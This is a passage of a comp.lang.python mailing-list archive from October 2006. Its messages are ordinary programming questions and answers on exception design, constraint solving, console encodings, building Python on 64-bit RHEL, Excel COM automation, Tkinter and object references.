	<mailman.1085.1159790247.10491.python-list@python.org>
	<1159792556.813570.10480@k70g2000cwa.googlegroups.com>
	<1159794483.092877.196110@m7g2000cwm.googlegroups.com>
	<1159794862.317582.214860@e3g2000cwe.googlegroups.com>
	<1159800413.806985.123060@m73g2000cwd.googlegroups.com>
Message-ID: <slrnei2guf.8iq.sybrenUSE@schuimige.stuvel.eu>

John Machin enlightened us with:
> Many thanks for all that, olive; I made the minimal hacks to make it
> open an XLS ffile, and it worked!
> I'll try to see why that worked and my previous experiment crashed
> inside a DLL.

Thanks, keep us posted!

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From aahz at pythoncraft.com  Mon Oct  2 14:09:12 2006
From: aahz at pythoncraft.com (Aahz)
Date: 2 Oct 2006 11:09:12 -0700
Subject: Pythonic API design: detailed errors when you usually don't care
References: <1159807538.579131.198670@e3g2000cwe.googlegroups.com>
Message-ID: <efrkk8$t3q$1@panix3.panix.com>

In article <1159807538.579131.198670 at e3g2000cwe.googlegroups.com>,
Simon  Willison <swillison at gmail.com> wrote:
>
>try:
>  do_something()
>except HttpError:
>  # An HTTP error occurred
>except ApplicationError:
>  # An application error occurred
>else:
>  # It worked!

Use a similar but different idiom:

try:
    do_something()
except DoSomethingError:
    # handle error

IOW, your do_something() function maps all expected errors to
DoSomethingError (or at least to a series of related exceptions that are
all subclasses of DoSomethingError).
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"LL YR VWL R BLNG T S"  -- www.nancybuttons.com


From aurelien.campeas at free.fr  Mon Oct 16 06:50:51 2006
From: aurelien.campeas at free.fr (aurelien.campeas@logilab.fr)
Date: 16 Oct 2006 03:50:51 -0700
Subject: classroom constraint satisfaction problem
In-Reply-To: <1LadnZCCBosBMK_YnZ2dnUVZ_r-dnZ2d@comcast.com>
References: <1LadnZCCBosBMK_YnZ2dnUVZ_r-dnZ2d@comcast.com>
Message-ID: <1160995851.796140.135330@b28g2000cwb.googlegroups.com>


Steven Bethard a ?crit :

> I'm trying to solve a constraint-satisfaction problem, and I'm having
> some troubles framing my problem in such a way that it can be
> efficiently solved.
>
> Basically, I want to build groups of two teachers and four students such
> that [1]:
>
> * Students are assigned to exactly one group
> * Teachers are assigned to approximately the same number of groups
> * Students are not in groups with their homeroom teachers
> * Students in each group are from four different homerooms
>
> So given teachers A, B, C, D, E and F and their corresponding students
> A1, A2, ... F3, F4, here's a good grouping:
>
> A, B:   C1, D1, E1, F1
> B, C:   A1, D2, E2, F2
> C, D:   A2, B1, E3, F3
> D, E:   A3, B2, C2, F4
> E, F:   A4, B3, C3, D3
> F, A:   B4, C4, D4, E4
>
>
> My current solution is to create a constraint satisfaction problem using
> python-constraint (http://labix.org/python-constraint) where there are

Last time I looked at it, it seemed to not use (by default) its Arc8
routine that prunes domains between each variable instantiation by the
backtracker. Did you enable it ? (it should have a crucial performance
impact).

You could also try the logilab constraint package
(http://www.logilab.org/projects/constraint) and see how it fares with
your problem (it 'only' provides the AC3 domain pruning algorithm but
at least uses it by default).

Cheers,
Aur?lien.

> variables for:
>
> * each student      domain: group names
> * each group name   domain: all pairs of teachers
>
> This works for simple problems, but because most of my constraints have
> to iterate over all students and/or all groups, this takes way too long
> on my real dataset (which has 300+ students).  I thought about trying to
> reframe the problem so that there are variables for:
>
> * each group name   domain: pairs of teachers X 4-tuples of students
>
> but that seems like it would be generating something like 15^2*300^4
> items for the domain, which is clearly also going to be way too big.
>
>
> Any suggestions on how to speed things up?  I've posted my current code_
> and the tests_ in case anyone has the time to look at them.
>
> .. _code: http://ucsu.colorado.edu/~bethard/py/constraint/student_groups.py
> .. _tests:
> http://ucsu.colorado.edu/~bethard/py/constraint/test_student_groups.py
>
>
> Thanks!
>
> Steve
>
>
> [1] There are actually two other constraints that I omitted:
>
> * Some teachers cannot be placed in the same group, e.g. I might know
> that A cannot work with B or that E cannot work with F.
>
> * If you create a graph out of the teacher pairs from all the groups,
> the graph should not be disconnected.  That is, the following grouping
> is bad because the teachers are disconnected:
>
> A, B: ...
> C, D: ...
> A, B: ...
>
> while this grouping would be okay:
> 
> A, B: ...
> B, C: ...
> C, D: ...



From gagsl-py at yahoo.com.ar  Tue Oct 10 03:24:52 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 10 Oct 2006 04:24:52 -0300
Subject: Encode differences between idle python and python
In-Reply-To: <1160459071.233638.167150@k70g2000cwa.googlegroups.com>
References: <1160459071.233638.167150@k70g2000cwa.googlegroups.com>
Message-ID: <7.0.1.0.0.20061010041825.0439eba8@yahoo.com.ar>

At Tuesday 10/10/2006 02:44, pretoriano_2001 at hotmail.com wrote:

>Hello:
>Under win32 XP y select python command line and execute next code with
>results indicated:
>
>Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit
>(Intel)] on
>Type "help", "copyright", "credits" or "license" for more information.
> >>> u=u'?????'
> >>> u
>u'\xe1\xe9\xed\xf3\xfa'
> >>> print u
>?????
> >>> a=u.encode('latin-1')
> >>> a
>'\xe1\xe9\xed\xf3\xfa'
> >>> print a
>?????
> >>> type(a)
><type 'str'>
> >>> type(u)
><type 'unicode'>
> >>>

Because the console code page != windows code page.
Exit Python. At the console prompt, type:
 >chcp
If it says 850 - your console is using codepage 850.
Enter Python again, and replace 'latin-1' with 
'cp850'. You should get the right representation.


-- 
Gabriel Genellina
Softlab SRL 


	

	
		
__________________________________________________ 
Pregunt?. Respond?. Descubr?. 
Todo lo que quer?as saber, y lo que ni imaginabas, 
est? en Yahoo! Respuestas (Beta). 
?Probalo ya! 
http://www.yahoo.com.ar/respuestas 



From stephan.diehl at gmx.net  Tue Oct 10 05:07:01 2006
From: stephan.diehl at gmx.net (Stephan Diehl)
Date: Tue, 10 Oct 2006 11:07:01 +0200
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Oct 10)
In-Reply-To: <egf5kp$m66$1@lairds.us>
References: <egf5kp$m66$1@lairds.us>
Message-ID: <egfnrl$236$01$1@news.t-online.com>

Cameron Laird wrote:

>     goon summarizes WSGI resources:
> 	http://groups.google.com/group/comp.lang.python/msg/f7d67bc039748792
> 

THE wsgi resource at the moment is http://wsgi.org . (sorry, I've missed 
the original thread)

Stephan


From chtaylo3 at gmail.com  Mon Oct 23 19:42:34 2006
From: chtaylo3 at gmail.com (Christopher Taylor)
Date: Mon, 23 Oct 2006 19:42:34 -0400
Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64
In-Reply-To: <453d4821$0$22566$9b622d9e@news.freenet.de>
References: <mailman.706.1161192807.11739.python-list@python.org>
	<45386B4C.4020001@v.loewis.de>
	<mailman.999.1161629807.11739.python-list@python.org>
	<453d4821$0$22566$9b622d9e@news.freenet.de>
Message-ID: <2590773a0610231642x65d1991r5f3568fddf5d062d@mail.gmail.com>

Ok, so if I need to build the 32bit binaries, I just need to make sure
I pass the right argument through to the compiler then?  (I'm trying
to build 32 bit and 64 bit binaries on the same system, but I'll wait
untill I get just the 64bit stuff built first before I tackle that)

Also,  I've fooled around with passing --libdir=/usr/lib64 to the
configure script and for whatever reason, the Makefile isn't correctly
written.  It always ends up copying the lib files to /usr/lib.

So I thought I'd manually edit the Makefile by editing the makefile on
lines 83 and 87 so they are now:
83: LIBDIR=         $(exec_prefix)/lib64
87: SCRIPTDIR=      $(prefix)/lib64

then:
make clean
make
make test
make altinstall
cd ..
python2.4

I get the following error message:
Could not find platform independent libraries <prefix>
Could not find platform dependent libraries <exec_prefix>
Consider setting $PYTHONHOME to <prefix>[:<exec_prefix>]
'import site' failed; use -v for traceback

so then I edited /etc/profile and added
export PYTHONHOME="/usr"

then restarted and I got ride of the "Could not find platform
in/dependent libraries" errors but I still get the  " 'import site'
failed " error.

I did a python2.4 -v and below is the output:
# installing zipimport hook
import zipimport # builtin
# installed zipimport hook
'import site' failed; traceback:
ImportError: No module named site


*** Now I'm lost ***

Just for sanity sakes I undid the changes to lines 83 & 87 of the make
file, did a "make clean", "make", "make test", "make altinstall",
"python2.4" followed by some goofing around and everything works fine.
 So I'm guessing my manual edits of the makefile didn't go well.  Any
idea what else I need to change?

Respectfully,
Christopher Taylor


From richie at entrian.com  Tue Oct 24 06:56:01 2006
From: richie at entrian.com (Richie Hindle)
Date: Tue, 24 Oct 2006 11:56:01 +0100
Subject: [OT] Re: can't open word document after string replacements
In-Reply-To: <453deaff$0$11813$426a74cc@news.free.fr>
References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>
	<453dd1b8$0$15214$426a74cc@news.free.fr>
	<30f41$453de7c9$544abf75$16552@news.hispeed.ch>
	<453deaff$0$11813$426a74cc@news.free.fr>
Message-ID: <67srj29g50t7crqu4nqabg5ou870co32f4@4ax.com>


[Antoine]
> I have a word document containing pictures and text. This documents
> holds several 'ABCDEF' strings which serve as a placeholder for names.
> Now I want to replace these occurences with names in a list (members).

[Bruno]
> I don't know how it's named in english, but in french it's (well - it
> was last time I used MS Word, which is quite some times ago???) "fusion
> de documents".

"Mail Merge"?

-- 
Richie Hindle
richie at entrian.com


From skip at pobox.com  Mon Oct 23 17:10:08 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 23 Oct 2006 16:10:08 -0500
Subject: Getting a lot of SPAM from this list
In-Reply-To: <7.0.1.0.0.20061023175044.05c75ec8@yahoo.com.ar>
References: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>
	<7.0.1.0.0.20061023175044.05c75ec8@yahoo.com.ar>
Message-ID: <17725.12208.931743.88672@montanaro.dyndns.org>


    Gabriel> I use a discardable email address from Yahoo. Spam filtering is
    Gabriel> good, and when you get too much spam, just delete that address
    Gabriel> and create another one.

Maybe it's just me, but creating and discarding email addresses makes me
think the spammers have won.  I'd prefer to face them down at high noon.
Six guns at twenty paces (figuratively speaking, of course).

Skip


From michael.pearmain at tangozebra.com  Wed Oct 18 10:13:18 2006
From: michael.pearmain at tangozebra.com (michael.pearmain at tangozebra.com)
Date: 18 Oct 2006 07:13:18 -0700
Subject: Win32 python and excel macros
Message-ID: <1161180798.760994.111230@k70g2000cwa.googlegroups.com>

Hi Experts,

Looking for a very quick bit on of advice on how to make some python
code run.  I'm a newbie to both VBA and Python, so i apologise if this
is very easy but i'm about to tear my hair out after googling for the
last 3 days.

I have written a large python script which inside of it creates an
Excel table, the name of this file and how many objects can change for
each project i run.

I have then written a VBA script which takes the info from Excel and
drops it into a PowerPoint Pres.

Both of these procedures work fine, but i am coming unstuck when i try
to apply the macro, (or .xla) file to the new tables autmatically.  Can
anyone give me any guidance on this?

The macro is called sub is CTP and the add-in file is CTP.XLA

Below is the code i've managed to 'Stick' together

Mike

import win32com.client
xl = win32com.client.Dispatch("Excel.Application")
ppt = win32com.client.Dispatch("PowerPoint.Application")
xl.Visible = 1 #open MS Excel
ppt.Visible = 1 #open MS Powerpoint
xl.Workbooks.Open('Z:\\projects\\surveys\\SPSS - Generic files\\big
output.xls') #A table for a project
xl.Workbooks.Open('Z:\\projects\\surveys\\SPSS - Generic
files\\CTP.xla') # Stored macro add-in
ppt.Presentations.Open('Z:\\projects\\surveys\\SPSS - Generic
files\\Basic Template.ppt')
xl.Application.ExecuteExcel4macro('CTP!CTP.xla()"[big output.XLS]')



From idknow at gmail.com  Fri Oct 13 17:39:13 2006
From: idknow at gmail.com (B M)
Date: Fri, 13 Oct 2006 17:39:13 -0400
Subject: Standard Forth versus Python: a case study
In-Reply-To: <7.0.1.0.0.20061012211219.04ad8c50@yahoo.com.ar>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
	<7xfydtojhe.fsf@ruckus.brouhaha.com>
	<7x4pu9bw3z.fsf@ruckus.brouhaha.com>
	<1160685854.118420.133080@e3g2000cwe.googlegroups.com>
	<7.0.1.0.0.20061012211219.04ad8c50@yahoo.com.ar>
Message-ID: <c8160c970610131439j14ff13c1t4b9806ac3eb2c38b@mail.gmail.com>

i hang my head in shame.



On 10/12/06, Gabriel Genellina <gagsl-py at yahoo.com.ar> wrote:
> At Thursday 12/10/2006 17:44, idknow at gmail.com wrote:
>
> > > > > fun median {
> > > > >  var x = 0.
> > > > >   while( *p++) {
> > > > >     if( (*p) > x) x = *p.
> > > > >   }
> > > > >   return x.
> > > > > }
> >
> >clearly, i've forgotten the definition of the median of a list.
> >to that i plead faulty memory.
>
> That explains all. Finding the median in an efficient way (that is,
> without sorting the data first) isn't trivial, so your claim of "I
> can do that using only one temp variable" was a bit surprising...
> BTW, the median is the value which sits just in the middle of the
> list when ordered: median(3,5,12,1,2)=median(1,2,3,5,12) = 3
>
>
> --
> Gabriel Genellina
> Softlab SRL
>
>
> 	
> 	
> 		
> __________________________________________________
> Pregunt?. Respond?. Descubr?.
> Todo lo que quer?as saber, y lo que ni imaginabas,
> est? en Yahoo! Respuestas (Beta).
> ?Probalo ya!
> http://www.yahoo.com.ar/respuestas
>
>
>

From MrJean1 at gmail.com  Thu Oct 19 16:27:45 2006
From: MrJean1 at gmail.com (MrJean1)
Date: 19 Oct 2006 13:27:45 -0700
Subject: Compile for 64bit RHEL
In-Reply-To: <mailman.770.1161278488.11739.python-list@python.org>
References: <mailman.770.1161278488.11739.python-list@python.org>
Message-ID: <1161289665.154954.117130@f16g2000cwb.googlegroups.com>

Both Python 2.4.4 and 2.5 built just fine on my Opteron box with RHEL
(release 3 update 7).  There are no test failures, only 35 skipped
tests (which are expected on Linux).

/Jean Brouwers


Christopher Taylor wrote:
> Has anyone been able to get python 2.4 to compile properly for x86_64 RHEL?
> 
> Respectfully,
> Christopher Taylor



From fer7msb02 at sneakemail.com  Fri Oct 27 03:06:05 2006
From: fer7msb02 at sneakemail.com (Yang)
Date: Fri, 27 Oct 2006 03:06:05 -0400
Subject: Assertion failure on hotshot.stats.load()
Message-ID: <31672-10273@sneakemail.com>

Note: I realize hotshot is obsoleted by cProfile, but 2.5 breaks
several packages I depend on. I'm using Python 2.4.3.

I'm getting an AssertionError on "assert not self._stack" when calling
hotshot.stats.load() on my app's hotshot profile. The app consistently
causes hotshot to generate such a problematic profile, but I have no
idea what's causing it. Anybody know what's wrong?

Here's the profile:

http://www.filefactory.com/file/76fdbd/

Potentially relevant bugs:

http://sourceforge.net/tracker/index.php?func=detail&aid=900092&group_id=5470&atid=105470
http://sourceforge.net/tracker/index.php?func=detail&aid=1019882&group_id=5470&atid=105470

Thanks in advance for any help.


From fredrik at pythonware.com  Thu Oct 12 14:55:37 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 20:55:37 +0200
Subject: Appropriate way to quit Tkinter
In-Reply-To: <1160675883.753402.70430@i3g2000cwc.googlegroups.com>
References: <1160675883.753402.70430@i3g2000cwc.googlegroups.com>
Message-ID: <egm339$8ha$1@sea.gmane.org>

mzdude wrote:

> I've just started playing with Python. Installed 2.5 on Windows XP
> system. I'm working through some of the examples in Programming Python
> 3ed by Mark Lutz. Given the following example when the Quit All button
> action is assigned to root.quit the windows aren't dismissed or
> destroyed. The application appears to terminate, but the windows
> remain. When the action is assigned to root.destroy, the windows are
> closed. Questions:
> 1) Which way is preferred / correct?

quit() causes the mainloop() call to return.  if calling mainloop() is 
the last thing you do in your program, the program terminates.

destroy() destroys the given window.  if that's the last window, the 
mainloop() is terminated as well.

> 2) Is something wrong with 2.5? (I haven't tried older versions of
> python)

not that I can see.

> 3) Is there something wrong with my installation?

works for me.  are you perhaps running this under some kind of IDE that 
keeps the process running even after the program has terminated?

</F>



From kgrafals at gmail.com  Mon Oct 16 14:08:36 2006
From: kgrafals at gmail.com (kgrafals at gmail.com)
Date: 16 Oct 2006 11:08:36 -0700
Subject: urllib.urlopen: Errno socket error
Message-ID: <1161022115.983554.76140@h48g2000cwc.googlegroups.com>

Hi,

I'm just trying to read from a webpage with urllib but I'm getting
IOErrors. This is my code:

import urllib
sock = urllib.urlopen("http://www.google.com/")

and this is the error:

Traceback (most recent call last):
  File "<pyshell#5>", line 1, in <module>
    sock = urllib.urlopen("http://www.google.com/")
  File "C:\Python25\lib\urllib.py", line 82, in urlopen
    return opener.open(url)
  File "C:\Python25\lib\urllib.py", line 190, in open
    return getattr(self, name)(url)
  File "C:\Python25\lib\urllib.py", line 325, in open_http
    h.endheaders()
  File "C:\Python25\lib\httplib.py", line 856, in endheaders
    self._send_output()
  File "C:\Python25\lib\httplib.py", line 728, in _send_output
    self.send(msg)
  File "C:\Python25\lib\httplib.py", line 695, in send
    self.connect()
  File "C:\Python25\lib\httplib.py", line 679, in connect
    raise socket.error, msg
IOError: [Errno socket error] (10060, 'Operation timed out')

I'm behind my company's firewall. Would that cause a problem? If it
does, How do I get around it?



From wescpy at gmail.com  Thu Oct 12 16:27:39 2006
From: wescpy at gmail.com (wesley chun)
Date: Thu, 12 Oct 2006 13:27:39 -0700
Subject: ANN: BayPIGgies, Oct 12, 7:30pm, Google, Mtn View
Message-ID: <78b3a9580610121327h6e3af388q2f9d875faf1a2369@mail.gmail.com>

Final REMINDER:

Tonight, the Silicon Valley/San Francisco Bay Area Python users group
meets at Google in Mountain View from 7:30-9p.

the featured speaker is Alex Martelli, author of O'Reilly's Python in
a Nutshell and editor of the Python Cookbook(s).  the topic is Python
2.5.

for more info and directions, see http://baypiggies.net

for information on meeting for dinner before the meeting (6pm):
http://mail.python.org/pipermail/baypiggies/2006-October/001228.html

hope to see you there!
-- wesley
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
"Core Python Programming", Prentice Hall, (c)2007,2001
    http://corepython.com

wesley.j.chun :: wescpy-at-gmail.com
python training and technical consulting
cyberweb.consulting : silicon valley, ca
http://cyberwebconsulting.com


From hanumizzle at gmail.com  Sun Oct  8 15:24:41 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Sun, 8 Oct 2006 15:24:41 -0400
Subject: references and buffer()
In-Reply-To: <f4cc03640610081209x772ca04ex2b47204a2003bfb0@mail.gmail.com>
References: <f4cc03640610081140i48be2853i68dde935d1b50b3d@mail.gmail.com>
	<egbh20$o6q$2@sea.gmane.org>
	<f4cc03640610081209x772ca04ex2b47204a2003bfb0@mail.gmail.com>
Message-ID: <463ff4860610081224o7261e9e9ue0981b79fa574cbd@mail.gmail.com>

On 10/8/06, km <srikrishnamohan at gmail.com> wrote:
> Hi all,
>
>
> > in the CPython implementation, it's the address where the object is
> > stored.  but that's an implementation detail.
>
>   ok so can i point a vairiable to an address location just as done in C
> language ?
>  >>> y = 'ATGCATGC'
>  >>> x = buffer(y)
>  >>> del(y)
>  >>> x
>  <read-only buffer for 0xbf4cf0e0, size -1, offset 0 at 0xbf4cf240>
>  >>> print x
>  ATGCATGC
>
>  now even when i delete y,  why is that x still exists ?

Say that you copy the contents of file foo into file bar and delete
the original foo. Of course file bar still exists in this case. Not
much of a difference; I haven't seen buffer objects yet (I am also new
to Python), but the initialization for the buffer probably copies
whatever is in y somewhere.

>  thats true even in the case of vairable assignment which states it a a
> reference !
>  >>> a = 10
>  >>> b = a
>  >>> del(a)
>  >>> b
>  10
>  i always thought if u modify the referred variable/buffer object it should
> be reflected in the referenced variables/buffers objects

You didn't modify the object that the variable /refers to/.
Furthermore, numbers are immutable anyway. To continue with the Hindu
god analogy, Vishnu did not cease to exist when any of his avatars
passed from the physical world; it is no different with objects in
Python.

IOW

a --> 10
b -/

Delete the 'a' reference and:

b --> 10

Or:

>>> class god(object):
...   pass
...
>>> vishnu = god()
>>> matsya = vishnu
>>> kurma = vishnu
>>> varaha = vishnu
>>> narasimha = vishnu
>>> # Etc
...
>>> del narasimha
>>> matsya
<__main__.god object at 0x402e3c6c>
>>> kurma
<__main__.god object at 0x402e3c6c>

What is a little different is this: if there are no references left to
an object (such as variables), the object the references point to will
eventually be deleted. Variables are one way to have a reference to an
object. References to an object may also exist in a list, hash, or
other data type.

>>> a = 'foo'
>>> b = [1,2,3,a]
>>> del(a)
>>> b
[1, 2, 3, 'foo']

> am i wrong ?
>  does it mean that references  in python are not true references ?

Python is object-oriented in either sense of the word (think Lisp
sense then think Smalltalk sense). These are true references.

-- Theerasak


From fredrik at pythonware.com  Tue Oct 10 04:40:49 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 10:40:49 +0200
Subject: Python component model
In-Reply-To: <1160467516.602655.169920@c28g2000cwb.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
Message-ID: <egfmaj$hcf$1@sea.gmane.org>

Nick Vatamaniuc wrote:

> At the same time one could claim that Python already has certain
> policies that makes it seem as if it has a component model.

every Python object surely qualifies as a component, for any non-myopic 
definition of that word, and everything inside a Python program is an 
object.  so yes, Python has a component model, and Python programmers 
are using that model all over the place.

what might be missing is support for publishing additional metadata 
using a standardized vocabulary, and a way to access that data with-
out having to actually create the object.

implementing this using existing mechanisms is trivial (as the endless 
stream of interface/component/adapter/trait implementations have shown 
us); coming up with a good-enough-to-be-useful-for-enough-people 
vocabulary is a lot harder.

</F>



From grflanagan at yahoo.co.uk  Mon Oct 16 16:00:16 2006
From: grflanagan at yahoo.co.uk (Gerard Flanagan)
Date: 16 Oct 2006 13:00:16 -0700
Subject: Need a strange sort method...
In-Reply-To: <1161023839.841044.283730@e3g2000cwe.googlegroups.com>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
	<1161023839.841044.283730@e3g2000cwe.googlegroups.com>
Message-ID: <1161028816.398810.301050@e3g2000cwe.googlegroups.com>


Gerard Flanagan wrote:
> SpreadTooThin wrote:
> > I have a list and I need to do a custom sort on it...
> >
> > for example:
> > a = [1,2,3,4,5,6,7,8,9,10] #Although not necessarily in order
>
> > 1 4 7 10
> > 2 5 8
> > 3 6 9
> >
>
> from math import sqrt
>
> for i in range(2,12):
>     seq = range(1,i)
>     numcols = int(sqrt(len(seq)))
>     print columnise(seq, numcols)
> 

should be:

  numcols = int(sqrt(len(seq) + 0.5)


Gerard



From joel at rosdahl.net  Fri Oct 13 05:30:11 2006
From: joel at rosdahl.net (Joel Rosdahl)
Date: Fri, 13 Oct 2006 11:30:11 +0200
Subject: Linting python code...
In-Reply-To: <17707.37057.62720.611901@montanaro.dyndns.org> (skip@pobox.com's
	message of "Tue, 10 Oct 2006 07:23:29 -0500")
References: <m31wpgjryh.fsf@flognat.myip.nu>
	<200610101415.54557.email@christoph-haas.de>
	<17707.37057.62720.611901@montanaro.dyndns.org>
Message-ID: <87wt748sws.fsf@rosdahl.net>

skip at pobox.com writes:

>     Christoph> On Tuesday 10 October 2006 14:06, Andrew Markebo wrote:
>     >> Are there any python-code linter out there
>
>     Christoph> PyLint (http://www.logilab.org/projects/pylint)
>     Christoph> PyChecker (http://pychecker.sf.net)
>
> New kid on the block:
>
>     PyFlakes http://divmod.org/trac/wiki/DivmodPyflakes
>
> It doesn't do nearly as much as the other two but doesn't import the
> modules, so it can be used in places the others can't.

I thought PyLint doesn't import modules either. Am I mistaken?

-- 
Regards,
Joel Rosdahl <joel at rosdahl.net>
Key BB845E97; fingerprint 9F4B D780 6EF4 5700 778D  8B22 0064 F9FF BB84 5E97


From fredrik at pythonware.com  Wed Oct 18 09:53:17 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 15:53:17 +0200
Subject: Image.draft -- what are the modes that I can use?
References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com><mailman.686.1161178974.11739.python-list@python.org>
	<1161179376.827555.239810@i3g2000cwc.googlegroups.com>
Message-ID: <eh5bkd$56m$1@sea.gmane.org>

"abcd" wrote:

>> or even better, Flash?
>
> well I am trying to take screenshots and make them into an animated
> GIF, however, putting them into a Flash movie would be cool....any idea
> how to go about doing either with python?  (windows, possibly linux
> later)

to repeat myself:

    here's a tool that lets you use VNC to capture the screen, and then convert
    the result to a flash animation:

       http://www.unixuser.org/~euske/vnc2swf/

</F> 





From apardon at forel.vub.ac.be  Wed Oct  4 06:33:11 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 4 Oct 2006 10:33:11 GMT
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>
	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>
	<7xac4cpefr.fsf@ruckus.brouhaha.com>
Message-ID: <slrnei73f7.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-04, Paul Rubin <http> wrote:
> Antoon Pardon <apardon at forel.vub.ac.be> writes:
>> Now in this case you could start by assigning arg the value 1 and
>> eliminate the if test. However that only works if you know the
>> default value for the argument. What he seems to be asking for
>> is if there is an object, (let as call it Default), that would
>> make code like:
>> 
>>   def f(var=1):
>> 
>> Equivallent to:
>> 
>>   def f(var=Default)
>>     if var is Default)
>>       var = 1
>
> Oh, I see.  Yes, the OP should just use a distinct default value
> instead of 1.  I usually do this with
>
>    sentinel = object()
>
>    def f(var=sentinel):
>      if var is sentinel:
>        # f was called without an arg 

But that can only work if you are the author of f. Take the
following code:

  def myrepeat(obj, times = xxx):
    return itertools.repeat(obj, times)

What value do I have to substitue for xxx, so that myrepeat
will have the exact same function as itertools.repeat?

-- 
Antoon Pardon


From neoedmund at gmail.com  Mon Oct 16 02:02:55 2006
From: neoedmund at gmail.com (neoedmund)
Date: 15 Oct 2006 23:02:55 -0700
Subject: python's OOP question
In-Reply-To: <1160976684.218025.71050@m73g2000cwd.googlegroups.com>
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
	<mailman.551.1160968738.11739.python-list@python.org>
	<1160969393.803021.274070@e3g2000cwe.googlegroups.com>
	<1160976684.218025.71050@m73g2000cwd.googlegroups.com>
Message-ID: <1160978575.748868.25940@h48g2000cwc.googlegroups.com>

Oh, How great is the solution!  ( though i don't know how it works. )
Thank you George.

George Sakkis wrote:
> neoedmund wrote:
>
> > python use multiple inheritance.
> > but "inheritance" means you must inherite all methods from super type.
> > now i just need "some" methods from one type and "some" methods from
> > other types,
> > to build the new type.
> > Do you think this way is more flexible than tranditional inheritance?
>
> The following does the trick:
>
> from types import MethodType
>
> def addMethod(meth, obj):
>     f = meth.im_func
>     setattr(obj, f.__name__, MethodType(f,obj))
>
> def test1():
>     addMethod(C2.m, C3)
>     addMethod(C1.v, C3)
>     o = C3()
>     o.m()
>
> The same works as is on modifying individual instances, rather than
> their class:
>
> def test2():
>     o = C3()
>     addMethod(C2.m, o)
>     addMethod(C1.v, o)
>     o.m()
>     # raises AttributeError
>     # C3().m()
> 
>  
> George



From fredrik at pythonware.com  Fri Oct 20 08:23:47 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 14:23:47 +0200
Subject: python under the hood
References: <1161345457.021410.306910@m73g2000cwd.googlegroups.com>
Message-ID: <ehaf4j$rs9$1@sea.gmane.org>

tpochep at mail.ru wrote:

> Is there any good information about python's internals and semantic? I
> mean "under the hood".
> For example, I want to understant what do these strings
>
> x = 10
> y = 10
> x = 20
>
> mean (memory allocation for object? ctors? etc.)

reading this might help:

    http://effbot.org/zone/python-objects.htm

</F> 





From Hakusa at gmail.com  Wed Oct 25 22:39:28 2006
From: Hakusa at gmail.com (Hakusa at gmail.com)
Date: 25 Oct 2006 19:39:28 -0700
Subject: What's the best IDE?
In-Reply-To: <mailman.1235.1161830169.11739.python-list@python.org>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
	<mailman.1228.1161824335.11739.python-list@python.org>
	<454004a9$0$19602$88260bb3@free.teranews.com>
	<1161828498.791044.144040@f16g2000cwb.googlegroups.com>
	<mailman.1235.1161830169.11739.python-list@python.org>
Message-ID: <1161830368.661669.228270@i3g2000cwc.googlegroups.com>

Before that, I mentioned I was trying to make a text adventure, from
scratch to add more clarity.



From george.sakkis at gmail.com  Wed Oct 25 20:28:55 2006
From: george.sakkis at gmail.com (George Sakkis)
Date: 25 Oct 2006 17:28:55 -0700
Subject: Fatal Python error: deallocating None
Message-ID: <1161822535.445257.143360@i3g2000cwc.googlegroups.com>

It's the first time in the three years I've been using python that a
program crashes without a nice traceback to give me a clue of what
might be wrong. After searching a little, it seems it's one of those
hard to get down to cases, so I've no idea where to look for. Briefly
what I do is, select some rows from one table, do some number crunching
and insert or update rows in another table. The C extensions I'm using
are numarray and MySQLdb (indirectly, through Sqlalchemy).

What makes the problem worse is that it's not deterministic; I can
restart it from (a little before) the point of crash and it doesn't
happen again at the same point, but it might happen further down. Now,
I wouldn't mind restarting it manually every time since the crashes are
not all that frequent; problem is, it's supposed to be a long-running
process that will probably take days to finish normally, so I want it
to run overnight too. Any hints ?

Thanks,
George



From bdesth.quelquechose at free.quelquepart.fr  Sat Oct 21 16:12:55 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
